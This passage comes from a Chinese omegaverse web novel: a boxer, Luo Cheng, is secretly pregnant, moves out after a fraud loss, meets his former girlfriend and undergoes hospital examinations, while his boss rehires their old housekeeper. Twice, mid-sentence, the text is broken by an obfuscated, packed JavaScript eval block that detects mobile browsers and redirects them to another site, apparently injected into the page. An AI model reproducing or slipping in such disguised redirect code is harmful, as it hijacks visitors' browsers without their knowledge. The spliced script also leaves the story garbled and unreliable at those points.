见他毫不留情地关上大门,洛城那个气恼,忍不住大骂一声:“周扒皮!” 可惜闻人律已经听不见了。他只得气冲冲地折回房里,准备继续收拾东西,冷不丁瞥见床头柜上那个无处安置的皮质袖箍,心下烦躁,干脆把它丢到劳力士手表的盒子里,一齐塞进了收纳袋。 ----------------------- 腾云的挖角计划落空,闻人律预感褚云争绝对不会善罢甘休——果不其然,当天晚上八点,一则新闻便登上了热搜榜:“洛城等十五名格斗选手遭遇经济诈骗,数额高达二千万元!”陆庭风惊了,拿着手机从隔壁特助办公室冲过来:“褚云争怎么知道这事儿的?!” 闻人律冷笑:“公司里养了鬼呗!” 被李志明诈骗的人太多,自己第一时间也没有给他们下封口令,这事儿在私下底恐怕已经传播得很广了,溯源是难上加难。可若是不把这只“鬼”揪出来,登峰就像一个四面透风的堡垒,轻而易举就被人窥探了个干净,处处落到下风……陆庭风打量着他黑沉的面色,不禁感叹:“褚云争啊,以前对你爱得有多深,现在就恨得有多狠。要不,你去跟他服个软、道个歉?同行不一定非要当死对头,也可以齐头并进嘛。” 回答他的是闻人律一记冷酷的白眼。 诈骗的新闻一经报道,立刻激起千层浪。其中应当是有褚云争的推手,网友们讨论的风向就如他所说,十分轻易地就落在了“四肢发达,头脑简单”上。其中首当其冲的便是洛城——毕竟他一个人就被骗了一千五百四十万。大家嘲笑他轻信一个赌鬼,又以此揣测他比赛失利的原因:“恐怕洛城就是知道自己被骗了,比赛当天才打成那个鬼样子的。哎,真是赔了夫人又折兵啊!” 恰逢当月“反诈”宣传活动进行得如火如荼,洛城这新闻来得早不如来得巧,被眼尖的官媒拉过去当了典型,又在头条上挂了三天。这下所有人都知道了,医生宁祁都忍不住给他打电话:“你还好吧?心情还算平稳吗?最近舆论有点过分了,你没事儿别看手机,要保重身体,不然又流血……” “我很好啊。”洛城皮笑肉不笑地靠在行李上接电话:“要不是你打电话来,我根本就不会碰手机——这种情况我见得多了,随他们怎么骂,网页一关爱谁谁,老子就当看不见!”他没好气地说。 “好好好,你不在乎就好。”宁祁暗暗咋舌:“记得过两天再来抽个血,我需要查一下你的睾酮数值……别吃早饭啊。” “抽抽抽,你怎么不把我抽成干尸算了!”这回是真生气了,洛城把手机一摔,气鼓鼓地站起身,攥着两个拳头像一只暴怒的狮子般在客厅里来回逡巡:“落井下石是吧,乘人之危是吧……好,好,等老子把娃儿生了,不把你们这些媒体的脸摁在地上抽,老子就不姓洛!” 正暴跳如雷,门口冷不丁传来“咔哒”一声,有人推门而入。洛城以为又是闻人律突然造访,气势汹汹地大骂着:“操,连声招呼都不打,你信不信今晚我就把密码改了!”冲到玄关,却看见了闻人晴难掩尴尬的美丽脸庞。 26. 回老家养胎 “我是不是来得不是时候?”高挑优雅的Omega虽然这样问,脚下却定定站着,没有退出大门的意思。洛城跟她相处一年多,熟知她的性子——外柔内刚,我行我素。决定了的事情,旁人是无法动摇她的。 于是干涩地笑笑,洛城让开身子,勉强地做了个“请”的手势。闻人晴不疾不徐地走进来,环顾四周,高跟鞋踩在木地板上发出“笃笃”的清脆声音,这曾是洛城迷恋的天籁。然而此时此刻,这声音却仿佛催命的符咒,只让他坐立难安:“……东西都收起来了,不然还能给你泡杯茶喝。”洛城撇着视线,并不与她对视。 闻人晴回身望向他,她与闻人律如出一辙的丹凤眼中透着淡淡的怜悯:“要不是上了新闻,你被诈骗的事是不是准备瞒我一辈子?” 要不然呢?洛城苦笑一下,撇开脸掩饰地“害”一声:“这么丢人的事,我当然要瞒着啊!难不成还跟你哭穷啊?” “为什么不能呢?”闻人晴轻轻歪头,从小挎包里抽了张卡出来递给他,眼神澄澈:“我俩虽然分了手,但情谊还是在的吧?这里有十万块,先给你救急,以后有钱了你再还我,不还也无所谓。” 望着她涂了深红色指甲油的雪白手指,洛城没觉得感动,反而一股苦涩涌上心头:“这算是迟来的分手补偿费吗?” 闻言,她的手指轻轻一颤,半晌,将那张卡缓缓地收了回去:“不算。我们是和平分手,没有谁补偿谁一说……若实在要计较,那也是我对不起你。” 说着,她抬起清凌凌的双眼,略带歉意地望向洛城:“我一直觉得你是个不错的Alpha,跟你谈恋爱挺开心的。那条分手信……其实并不是我本意,希望你不要往心里去。” 落魄地轻笑一声,洛城终于抬眸望向她,眼中难掩痛楚:“不要往心里去?……你让我怎么不往心里去?我知道我跟你不是同一层次的人,你是千金大小姐,我怎么也够不上的。其实那天你只要再拒绝一次,我就会放弃了,可你为什么偏偏……” 话到这里已经说不下去了,洛城咬牙用力咽下那些陈旧的委屈,努力想表现得洒脱,但最终只让面部表情变得更加扭曲而已。 “我……”欲言又止地抿起唇,闻人晴犹豫一会儿,还是没有说出口:“我并没有那样想。今天来找你,主要也是想澄清这一点。不过,事已至此,澄不澄清估计也没有意义了——”她又拿出了那张卡,这次径直塞进了洛城手里:“你先拿着用吧,密码是六个零,以后赚钱了再还我。” 听着她匆匆离开的脚步声,洛城低下头,苦笑着婆娑一下手里的卡,心想:连密码都懒得改成我的生日,你让我怎么相信你的话呢? ----------------------- 又过了两日,在洛城即将把那一千块钱用光时,闻人律终于给他打电话了:“你的银行贷款已经结清了,现在来一趟公司,我让陆庭风带你去房管部门办理解押,记得带上需要的证件。” 洛城有点儿茫然:“……都需要什么证件啊?” 那头沉默了一秒,随后是克制着不耐烦的声音:“身份证和房屋产权证!” “哦。”正好东西都收拾清楚了,证件什么的也好找,洛城便揣上那俩证去了公司。彼时正值午饭时间,闻人律在办公室没胃口,点了一杯冰美式、一个三明治随便对付着,冷不丁一张银行卡丢到面前,接着便是那个熟悉的欠扁声音:“小晴给我的救济金,我不想动,你拿去还给她。” 一听到堂妹的名字,闻人律的面色猝然变得森冷:“你又去纠缠小晴了?” “我纠缠她什么,是她自己来找我的!”见他如此态度,洛城有些生气,瞪起一双虎目怒视着眼前这个傲慢的Alpha:“分手之后老子没跟她见过面,你不用这样看我!” ……原来错怪他了。闻人律面无表情地收回视线,喝一口咖啡:“既然缺钱,那为什么不收?”他瞥眼睨着那张卡,“你那一千块也差不多用完了吧?” “都没关系了还收什么?我没那么不要脸。”小声地嘟囔一句,洛城忽然又瞪住他,抬高音调理直气壮地道:“不是说等我用完那一千块就给我续费的么?钱呢?” 这个倒是记得清楚!嫌弃地斜他一眼,闻人律伸手接过林秘书递来的银行卡,转手递给他:“喏!这里是二十万,你这一整年的花费——拿好了!丢了我不会补的。” 洛城接过卡,低头看一眼,又问:“密码呢?” “001012。”闻人律不再看他,抬手挥一挥,意思是你可以走了。洛城若有所思地把卡攥进掌心里,转身到特助办公室找陆庭风,心想:真难得,这个周扒皮居然记得我的生日…… -------------------------- 解押的全部手续跑下来,又是一星期过去了。 孕期来到第九周,洛城的孕吐已经很严重。他每天早上起来都会吐,吃饭前会吐,吃饱了吐,有时吃到一半也会吐个天翻地覆。办结清手续那天,陆庭风看见他,冷不丁吓了一跳:“你怎么瘦那么多?!” 洛城下意识摸摸自己的脸,好像是有点儿瘦骨嶙峋的,对着车窗再照照镜子,面色也极差。他无奈地笑笑,又开始胡诌:“女朋友孕期反应大,睡得不好,我连带着也没法好好休息……不过没事,再熬几个月就行了。” 闻言,陆庭风突然从副驾驶座上探出脑袋,兴味盎然地问他:“你是怎么被你女朋友坑上的?是你没戴套,还是她没吃药?” 这种时候说多就会错多,一个谎要用一百个谎来圆,洛城干脆不说了,闭上眼直接回绝:“你干嘛要揭我的伤疤呢……给我留点儿面子嘛。” 这话逗得陆庭风笑起来,差点儿就要脱口而出“没事儿,律总也被坑了”。但想起闻人律那冰刀霜剑般的视线,他猛地止住笑容,后怕地坐了回去:好险、好险,差点儿就要祸从口出! 然而只安静了一会儿,陆庭风便坐不住了,那屁股左拧一下、右拧一下,转过头又问:“洛城,你真要休息一年啊?你这一停工,很多机会就被别人捡走了哦,比赛、代言,或许还有演出什么的,你真的不担心?” 洛城依旧闭着眼,眉心紧锁。封闭的车内空间闷得他有些难受,脑袋晕晕的,胃和喉咙也开始谋划着作怪。他赶忙摸出一颗徐福记的柠檬糖塞进嘴里,几乎是紧咬着牙关勉强说出几个字:“随便吧……担心也没用。” 本以为他会心有不甘,没想到居然这么破罐子破摔,陆庭风不忿地睨他一眼,干脆回过身,不再自讨没趣。半晌到了目的地,两人用半个钟的时间办好了结清手续,走出银行时,陆庭风问他:“接下来就是卖房子的事儿了。你想自己卖呢,还是全权交由公司代理?” “交给你们吧。”被早孕反应折磨得身心俱疲,洛城抬头看看刺眼的阳光,默默地后退两步,躲到了屋檐的阴蔽里:“等会儿回去,我叫个货车把行李拉走,明天你们就可以带人看房了,密码是6个8。” “行。”看一眼手表,此时是下午三点,还有时间,陆庭风便招呼他上车:“那跟我回一趟公司吧,签个代理书,这事儿你就可以撒手不管了。” 啊,又要坐车啊?默默压下喉头的呕吐感,洛城深呼吸几口气,视死如归地坐进了车里。 回到公司,闻人律已经不见踪影,估计又跟哪个大人物吃饭喝茶去了。陆庭风让林秘书打印两份代理书,等待的过程中,洛城坐在沙发上,眼睛眯着、闭着……差点儿就要睡了过去。半晌,陆庭风拍拍他肩,好笑道:“怎么了,困成这样?哦,被你女朋友闹得没睡好是吧。” “唔。”洛城迷迷糊糊地将代理书拿过来,看也不看就签上自己的大名,惹得陆庭风情不自禁地“啧”了一声:“你怎么也不看一遍呢,万一我让你签的是卖身契怎么办?” 洛城视线恍惚,揶揄地瞥他一眼:“不早跟你们签了卖身契了?” “那是比赛约和经纪约,跟卖身契差得远呢。”好笑地把代理书叠好,陆庭风将其中一份交给林秘书,另一份递给洛城:“拿好了。” 洛城“唔”一声,把纸收进兜里,站起身正欲离去……忽然脚下一停,望向林秘书:“小林,你们这儿有零食不?我快饿扁了。” 零食? 林秘书一怔,立即点头:“哦,有!你要吃什么,糕点、冰淇淋、饼干、肉脯,都有。” “拿一片肉脯吧。”洛城犹豫着道。林秘书点点头,转身朝茶水间走去,他纠结一会儿,着急忙慌地又追加了一句:“再再再要一块蛋糕!” 身前的陆庭风不禁疑惑地看他:“你没吃午饭啊?” “吃了,”洛城叹口气,无意识地将手掌放到小腹上,“但是又饿了。” 不一会儿,林秘书拿来两包牛肉脯和一块巧克力切件蛋糕,洛城食指大动地坐下来正要开动,忽然想到巧克力中含有咖啡因,会不会对婴儿有影响……?但这话又不好直接问,只能想想办法,换一个方式:“这是哪家的蛋糕?怪香的,等会儿我买一个带回去……哎不对,孕妇能吃巧克力吗?” “应该可以吧?之前唐秘书怀孕时就经常吃。”林秘书说。 脸上露出一个放松的笑容,洛城高兴得眼睛都眯没了:“是吗?那敢情好。”立即叉起一大块,迫不及待地塞进了嘴里。 待到吃饱喝足,洛城这才惬意地作别他们二人,打道回府。在电梯里碰见其他员工,他还好心情地打个招呼:“吃下午茶了吗?”那几人受宠若惊地笑笑,摇摇头:“忙着开会,没吃呢。” “这么忙?律总也太压榨你们了。”他大喇喇地在背后说闻人律坏话,估计是之前撕破脸皮吵过几次架,对他已经全无敬畏之心:“要我当了老板,每天下午给你们放一个钟头的假,专门休息、吃下午茶!” 员工们笑起来,都起哄:“那你快当呀,我们等着呢!” 哎,那得等我生完再说喽。电梯到达一层,洛城唉声叹气地走出去,不过他表情轻松,想来也并未觉得有多遗憾。大摇大摆地从大厅横穿而过,走出玻璃门,正要下台阶时,他见停车场那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572160|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走来一个高大的Alpha,定睛一看,是跟自己同在UFC轻重量级征战的选手,伍沛霖。 看见他,伍沛霖眉心微蹙,表情明显有些复杂。犹豫地在台阶下方停下来,他跟洛城打了个招呼:“城哥。”洛城爽朗地笑笑:“好久不见啊!”又拍一拍他结实的肩膀和胳膊:“你的状态还是那么好,就跟第二天马上要打比赛似的。” 伍沛霖被他拍得微微晃动一下,表情却依旧凝重。他深深凝视着洛城没心没肺的笑容,终于忍不住问:“城哥,你……你怎么还能笑得出来呢?” “啊?”一句话把洛城给问懵了:“我为什么笑不出来?” 闻言,伍沛霖不禁有些激动:“你输了那么重要的比赛,还是在那种毫无斗志的状态下输的。我以为你会知耻而后勇,可你居然……女朋友生孩子而已,城哥,你至于休息一整年吗?我老婆都生两个孩子了,如果我像你一样每一个都陪着待产,那我根本都没法儿出人头地!” 被他说得敛了笑容,洛城心底隐隐苦涩,但表面上只耸了耸肩:“每个人的选择不同。你选择事业,但我跟你不一样,这是我的第一个孩子,我必须把她排到第一位。” 得到这样的答案,伍沛霖激动的眼神逐渐变成不解、恍然,最后定格在失望:“……我一直很羡慕你,城哥,羡慕你的能力、你的天赋。我以为你会大杀四方,一路打上去,拿到金腰带……你不该这么挥霍的。” 说完,他昂起头,坚定地踏上台阶、与洛城齐平,最后擦肩而过。他的神情中透着一往无前的决心,仿佛打破了心中虚假的偶像,决定自己来冲击这遥不可及的冠军。洛城被他说得心中空空,僵在原地站了好一会儿,半晌才回头望去——伍沛霖已经走进电梯,扶摇直上了。 原来他就是陆庭风说的那个捡走机会的人。 脸上无法抑制地露出一个苦笑,洛城低下头,走进了夏日灼热的风里。 --------------- 傍晚六点四十分,洛城终于搬离高档的住宅区,回到了望海路鸽子笼一般的老房子里。 老街坊们看着他扛着几大包东西爬上爬下,老房子的楼梯阴暗而陡峭,洛城好几次脚下踩空,差点儿摔倒。敏姨听见动静从屋里走出来,见了他不禁拍手大叫:“阿城,你回来啦!” 洛城从大包裹下头抬起脸,心有余悸地冲她露出一个笑:“敏姨,我回来啦。” 二室一厅的房子两个月前才打扫过,前两天敏姨又去收拾了一下,现在干干净净的,十分整洁。只不过客厅实在有点儿小,三个包裹一放,就没地方站人了,洛城只得把其中一个拖到原来妈妈的房间里。 妈妈的房间还是以前的布置,一个老木大衣柜,一张木床、一个床头小桌,再无其他。现在铺盖被子都收了起来,窗帘也卸了,窗户紧闭,更显得了无生气。敏姨立在房门口欣慰地看洛城整理衣服,忍不住道:“要不你住到这间房吧?这个房间大一点儿,宽敞,就是床得换一张……” “不用,我就把衣服放这儿。”妈妈的床是两米的,虽然宽一点,但长度稍显不够,自己还是睡隔壁那张定制的一米二窄床吧。正寻思着,好几个老街坊凑了过来,也挤到门口瞅着他,七嘴八舌地问:“阿城,你怎么回来啦?” “骗钱的人抓没抓到啊?钱是不是追不回来了?” “你的房子不会没了吧?” “你们公司没有员工宿舍呀?也太小气了……” 叽叽喳喳问得洛城头疼,当即拿出十几年前望海路小魔头的气势,无赖地道:“是啊是啊,我钱都被骗光了,房也卖了,现在穷得叮当响!叔叔阿姨,你们是看着我长大的,现在我有难了,你们不会不管我吧?” 此话一出,那些人立即作鸟兽散,消失得无影无踪。敏姨被逗得发笑,不禁嗔怪地剜他一眼,道:“惯会偷奸耍滑!……你收拾着,我去做晚饭,待会儿过来一起吃啊!” “好,一定去。” 耳边总算清净了,洛城吁一口气,疲惫地坐到床上,揉了揉饥肠辘辘的肚子。神经终于彻底放松下来,他漫无目的地四下打量一番,熟悉的景致总让他有一种恍然若梦的感觉,好像妈妈还在身边,时光还停留在十几年前……那些夏日的傍晚,他放月假回来,大汗淋漓地冲进门:“妈!我回来啦,快给我煮肉吃!” 那时候妈妈多是在隔壁打麻将,扯起嗓子不耐烦地吼一声:“好好好知道了知道了,等我打完这一圈!……小兔崽子讨命鬼!” 无意识地露出笑容,洛城忍不住想:妈,你说,等你的孙女儿生出来了,给她起个什么名字好呢?傻笑一会儿,左邻右舍的人声、炒菜声逐渐漫入耳中,熙熙攘攘的,那是在高档小区体会不到的人情。 可他这次回来要养胎啊,人情太密,总有一天会被看出端倪……无法,只得坐起来,摸出手机,认命地给宁祁打电话: “喂,宁医生,你帮我在你们医院附近租个房吧。我老房子这边熟悉人太多,又都是些闲得无聊的老头老太太,不好住了……” 27. 内检 只在老家住了一天就要走,第二天早上敏姨见他收拾了一个行李箱拖着出门,不禁惊异地迎上去问:“阿城,你要去哪儿?” 洛城像做贼被发现似的,心虚地笑笑:“啊?我……我去朋友家住,他房子大,宽敞,也好有个照应。” 敏姨略显失望地垂下胳膊:“哦……这样啊,我还以为这阵子能经常跟你见面呢。”洛城见她拎着个菜篮子,里头只一点点菜,不像是去做钟点工:“敏姨,你,你还没找到新的雇主吗?” “哦,还没呢。”敏姨抬手理一下鬓边花白的头发,似乎并不担心这件事:“本来说,你回来住了,我就随便找两个白班的工做一做,晚上还能陪你聊聊天,再出去跳个舞什么的。结果你又要走……正好,我以前在京城的老主顾现在也到申城发展了,之前我在街上碰到他,他让我去他家做全职保姆。那时候我还在你那儿做工,就没答应……现在好了,你有朋友照顾,我可以安心去他那儿了。” “是吗,那也挺好。”这老房子里单身的老人太多,有几个总对敏姨大献殷勤,她去老主顾家做住家保姆,倒能躲个清净。洛城颇觉不舍地低头望着她,道:“敏姨,过几个月我就回来了,到时候给你一个大惊喜!你可别高兴得晕过去。” “是吗?”这话把敏姨的好奇心勾起了起来,她不禁睁大眼,期待地凑近些:“是什么惊喜啊,能不能透露一下?” “透露了那就不是惊喜了!”洛城摆出一副严肃脸,开始吊人胃口。两人一齐笑起来,随即恋恋不舍地相互叮嘱几句好好吃饭、注意身体,这才道了别,各自离去。 回到家,敏姨把菜放到客厅的小桌上,对着空荡荡的房间叹了口气。她在老旧的布艺沙发上坐下来,拿出手机,翻到通讯录里“小律”的电话号码,手指却犹豫地不敢点下去。 距离那次见面已有两个月,律少爷说不定已经找到新的保姆了,自己再打过去,不是叫他为难嘛……但转念一想,律少爷不喜欢陌生人住在家里,应当还是雇的钟点工。于是定定神,试探着拨了过去。 等候音“嘟——嘟——”地响了约莫十秒,对面终于接起来:“喂,敏姨?”闻人律的音调听上去略微上扬,那是他心情愉快的标志:“你找我什么事,是愿意来照顾我了吗?” “哎、哎,是!”听他这样问,敏姨忐忑的心立即落到实处,放松地笑了起来,道:“我上一个雇主去朋友家住了,不需要我了。我就想着打电话问问你,看你还愿不愿意找我做保姆。” “当然愿意。”闻人律答应得飞快,“你今天能过来吗?今天来的话,我让钟点工跟你做个交接,你也好熟悉一下我家里的杂事。” “好、好,今天可以。”没想到刚告别一个孩子,立刻又接到了另一个孩子,敏姨欣慰地笑着,心想:我这一把老骨头,看来还是有人需要的嘛! -------------------- 闻人律雇佣的钟点工一般是下午四点到,敏姨三点四十分就在小区门口等着了,让对方带自己一齐进去,顺便也认认门。 这个小区都是二百平以上的大平层,闻人律买的是二百四十五平的中等户型,四房三厅加一个大露台,目前暂时够用。钟点工一边走一边跟敏姨交待工作:“老板家有扫地机器人,你不用怎么拖地,只需要每天检查一遍死角,稍微擦一擦;屋里家具不多,柜子都是隐形的,也很好打理,随便一抹就干净了;老板中午不回家,你只用做晚上那一餐,他饮食清淡,不喜重口味,对海鱼、海虾……” “这个我知道,”敏姨笑起来:“少爷对海鱼虾蟹过敏,不过河里的可以吃。” “原来是老相识……那你早说啊。”钟点工不悦地撇了撇嘴。 到了六栋的第八层,二人来到户门前,敏姨见钟点工摁了0525四字密码,心中不禁微沉:这是少爷妈妈的生日……随着“嘀嘟”一声,大门打开,玄关里赫然立着一只高大的长脸狗狗,身上的毛发柔顺光亮,一双冷静的眼直直注视着来人。敏姨下意识退了一步,颤颤地问:“这就是路易吧?” “对。它不咬人,不过你也别去招惹它。每天早上和傍晚都会有专业的遛狗师带它出去遛,洗澡护理也是专人□□的,你不用管。”钟点工领着她走进去,小心地绕过路易。狗狗抬起脸在敏姨的裤边上嗅了一嗅,随即跟在他们后头,一间房一间房地参观:“这是中厨,这是西厨……隔壁是杂物房,常年关着,你可以一星期打扫一次。书房在这边,最尽头是主卧……” 说到这儿,钟点工好像想起什么,问:“老板装修的时候没有留保姆间,改成储藏室了,那你住哪儿?” 敏姨回身指一指最靠近玄关的客卧:“少爷说让我睡那间。” 闻言,钟点工又撇了撇嘴。 交接完所有事务,敏姨便正式上岗了。闻人律给她发信息说晚上七点回家吃饭,她便到附近的超市对付着买了些食材,火急火燎地开始做四菜一汤。洗菜时,路易正好遛弯回来,由一个大个子的Alpha男人拉着进门。对方看见敏姨,微微一愣:“你是新来的钟点工?” 敏姨笑笑,一边擦手一边跟他打招呼:“我是新来的住家保姆,你可以叫我敏姨。” “哦。”Alpha男人无甚表示,自顾自从柜子里拿出狗粮和冻干给路易满上,又帮它擦干净嘴和脚,随即潇洒离去。敏姨下意识望一望路易,见它并不着急吃饭,而是直勾勾地盯着自己,便笑一笑:“你吃,我给你主人做饭。” 路易摇摇尾巴,走到厨房门口优雅地趴下,把长长的嘴垫到了交叠的前腿上。 六点五十分,饭菜终于做好了,分别是虫草花蒸鸡、话梅排骨、清蒸鳜鱼、三色素炒和牛肉丸豆腐汤,饭是三色藜麦饭。敏姨正端菜摆上桌,闻人律便回来了,面颊和额头上透着微微的粉红,只有下巴依旧是冷白的。 “少爷!”敏姨一眼便注意到他异样的脸色,赶紧放下菜迎上去问:“你怎么了,是外头太热了吗?” “没有……”闻人律用手背压一压额头,热热的,略有些发烫:“我易感期快到了,有点儿不舒服。” “那你还吃得下饭吗?”接过他的西装外套挂到玄关衣架上,敏姨瞥见他胳膊中间捆着根细细的袖箍,那款式好像有些眼熟。但来不及细究,闻人律又把领带递了过来:“没事,今晚还能吃一些……明天估计就没胃口了。” “好,那赶紧吃饭吧!” 两人洗了手,一齐坐到餐桌前。望着这桌熟悉的菜色,闻人律垂着眸子,淡淡地笑了笑:“还是敏姨做的菜合我心意。” 敏姨也笑:“合心意那就多吃些,到明天可就吃不下了。”说着,她殷勤地给闻人律布了好几样菜,这举动是以前不曾出现过的。闻人律犹豫一瞬,想着敏姨是在动筷前给自己夹的菜,这才不紧不慢地吃起来:“敏姨,你行李搬过来了吗?” “还没。待会儿帮你打扫一下卫生,我就回去拿行李。今晚还要在那边住一夜,明天再搬。” “也好,反正明天我肯定吃不下饭的,你专心搬家,不用理我。” “那……”说到这儿,敏姨想起什么,试探着问:“少爷,易感期你是自己熬呢,还是叫男朋友来?” 闻人律望她一眼,摇摇头:“我现在没有男朋友,自己熬。” ……还没有男朋友呀!敏姨的好奇心蔫儿了,埋下头老老实实道:“那好,我提前做一些三明治和电解质水放你房里,你饿了渴了就去冰箱拿。” 许久未感受到如此体贴入微的照顾,闻人律不禁又笑了笑,点点头:“好。” ------------------- 交大附院周围有好几个小户型的居民区,稍远一些还有几栋新建的公寓,许多护士和病人家属都租在这一片,找个房子可以说是易如反掌。宁祁当天晚上就帮洛城找到了拎包入住的一室一厅,月租四千五,在申城算是很便宜了。不过也有缺点——墙壁太薄,上下左右有点儿什么动静都听得一清二楚。 搬家当天,洛城就听见楼上有几人吵架,你一言我一语、声嘶力竭的,似乎是兄妹几个在争论长辈的病情和各自出钱的份额。到了晚上,隔壁又传来不可言说的暧昧声音,间或伴随着“咚、咚”的摇晃声,听得洛城长叹一口气,抽出二张纸巾攥成团塞进耳朵里,这才慢慢地睡着了。 早上醒来,洗脸刷牙,再对着马桶呕个几分钟,随即用口罩和帽子全副武装地把脸包裹起来,下楼买早餐。如今洛城被孕吐折磨得瘦了些,只有189斤,两腮微微凹陷,看见肉就两眼放光,可又不敢多吃。 就像现在,看着早点铺里琳琅满目的各式早餐,他纠结许久,最后只买了一杯豆浆、两个茶叶蛋。吃下肚后步行1.3公里来到交大附院,一走进副主任医师办公室,他便苦哈哈地往沙发上一坐,下巴垫到桌上,对苏林菲哭诉:“我没吃饱……好想再来三个大肉包啊!” 苏林菲刚跟其他护士交完班,准备去查房,也没空安慰他,匆匆道:“你实在饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572161|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就去宁主任抽屉里翻一翻,他那儿一般会备着些零食。等十点钟课题小组的人到齐,我们再给你做b超,你记得喝点儿水,把尿憋够了。”叮嘱完,拿起文件夹跑了出去。 洛城百无聊赖地躺到沙发上,伸手揉揉肚子……想起自己吃多之后呕吐的惨状,他叹口气,到底是没敢再吃。 上一次来抽血,宁祁给他查了好几样Alpha的激素。结果显示他的睾酮水平已经降到跟其他omega相差无几的程度,基本上无法□□、也无法产生Alpha的生殖细胞了。宁祁还指一指他的胳膊和下巴:“你应当也有所察觉吧?最近是不是力量减弱,胡茬也长得很慢,基本上不用刮了?” 闻言,洛城惆怅地摸一下自己的下巴,恹恹的没说话。这样的变化不知是暂时的还是永久的,宁祁也无法给出保证,只能安慰他道:“等你生产之后,如果激素水平无法恢复,我会试着让你做Alpha激素疗法。” “做了那个疗法之后,我能肌肉和力量能恢复到以前打比赛的水平吗?”洛城问。 “……应该可以。只不过你可能要经常注射,而且这个方法不知道能不能躲过WADA的药检。” 靠!洛城默默地有些后悔了。 在沙发上小憩一会儿,十点十五分时,宁祁带着一个头发花白的女医生和两个年轻的主治医师走了进来。看见陌生人,洛城一骨碌从沙发上站起来,满眼都是警惕。那几人被他人高马大的身材和慑人的气势吓到,也不由后退了半步。 宁祁赶忙打圆场:“没事没事,都是自己人!这两个是我们科室的莫医生和方医生,这一位呢,则是我的科室主任,杨医生。” 洛城听了,没说话,面颊依旧紧绷着。宁祁只得继续道:“杨主任去欧洲进修过,观摩了一例AO双性患者的生产。她一听说你是这样的情况,立刻向那家医院申请了那名患者的医疗资料,就是为了确保你未来的安全。洛城,你放轻松,我们都是为你着想的。” 闻言,洛城这才慢慢放下戒心,犹豫地跟杨主任打了个招呼:“杨主任好。” “哎,你好,你好!”杨主任约莫是五十多岁,看着像是个Beta,相貌和煦,笑起来显得特别亲切。她几近热切地望着洛城,上下打量:“你长得真高呀,又结实,跟欧洲那个病例很不一样。那个人个子不高,身体也不大好,宝宝生出来比较病弱,住了一个月的保温箱……我听宁祁说你的宝宝发育得很不错,怎么样,做个b超看看吧?” “唔。”洛城点了点头。 躺到床上掀起衣服下摆,露出依旧结实的腹部,杨主任亲自操刀,给他涂抹耦合剂,一边涂一边啧啧称赞:“你的身体素质真棒!孕育的宝宝肯定也非常健康。”说着,她将探头压到洛城肚子上,慢慢滑动,一个花生般的轮廓逐渐显示在屏幕正中。 小小的、圆圆的,隐约能看到小手和小脚,可可爱爱仿佛一个陶土捏的小人儿。洛城从墙上的大屏幕中看到b超的画面,一时间不禁呆了,傻乎乎地望着、注视着……杨主任道:“你看,这是他的小脑袋,这是他的小脚丫,他的小手。他现在还很小,就比车厘子大一点儿……咦,他动了,你看见没有?” 看见了,洛城当然看见了。他的眼睛全程没离开过屏幕,自然发现了小家伙轻轻晃动小手的动作。那一刻,他心里的触动和爱怜难以言喻,就像海底的热泉、雪峰上的阳光,热乎乎漫过身体的所有角落,让一切都变得幸福而值得。他甚至情不自禁地笑了出来,眼睛用力眨一眨,瓮声瓮气地道:“她在跟我打招呼呢!” “对!”众人也善意地笑起来,对他的触动深感欣慰。宁祁微笑着问:“要我把报告打印出来,给你一份作留念吗?” “要,当然要!”洛城怎么可能拒绝?自然是满口答应。 见他的心情彻底放松了,杨主任与宁祁默契地对视一眼,随即拿来纸巾给他擦拭耦合剂,并试探着道:“之前查了激素,今天呢,我们想看看你生殖腔的形态……你意下如何?” “嗯?”洛城坐在床边正擦肚子,一时间没反应过来这话是什么意思。见状,杨主任停顿几秒,放慢了语速解释道:“就是检查一下你的生殖腔是什么样的,这样可以判断未来生产时有可能发生的状况。这个检查呢,稍微有点儿冒犯……需要用窥阴镜从你的□□伸进去,大约进入五、六厘米,就可以看见生殖腔的入口了。” “——什么?!” 那瞬间,洛城虎目怒睁,难以置信地跳了起来。 28. 闻人律的易感期 对于生育这件事,洛城一直想得很简单:怀孕、养胎,敞开肚子大吃大喝九个月,然后麻醉、剖腹产。对于宁祁说的“配合课题研究”,他的理解也仅限于抽血检查、b超等范畴。现在冷不丁告诉他要让医生把器械伸进隐秘部位做检查,洛城是既羞怒又懊恼,差点儿就想撕毁合同走人! “你可没跟我说还要研究这个——!”控诉地怒瞪着宁祁,他面色狰狞,那模样比在八角笼中打比赛时还要凶残。宁祁只感觉后颈上的汗毛都要竖起来了,赶忙解释道:“这一类检查在产科其实很常见的。我们作为医生,看过的人体不计其数,患者对于我们而言只是纯粹的病人……” “是啊,”杨主任也安抚道,“洛先生,我们做医生的,眼中已经没有性别之分了,不会对患者有任何评判或者非分之想,你大可放心。这种检查只是为了更好地研究病例,同时也是为后世留下详尽的研究资料,并不是为了满足我们的好奇心。洛先生,你是在为国家的医学做贡献呀。” ……看过的人体不计其数?眼中没有性别之分?洛城将信将疑地看着他们,面色稍缓,但眼神依旧警惕。见状,宁祁心中大为振奋,脚下上前一步,微笑着继续解释:“比如说产妇临产时,我们检查产道情况,就是直接伸手进去内检的,像这样——” 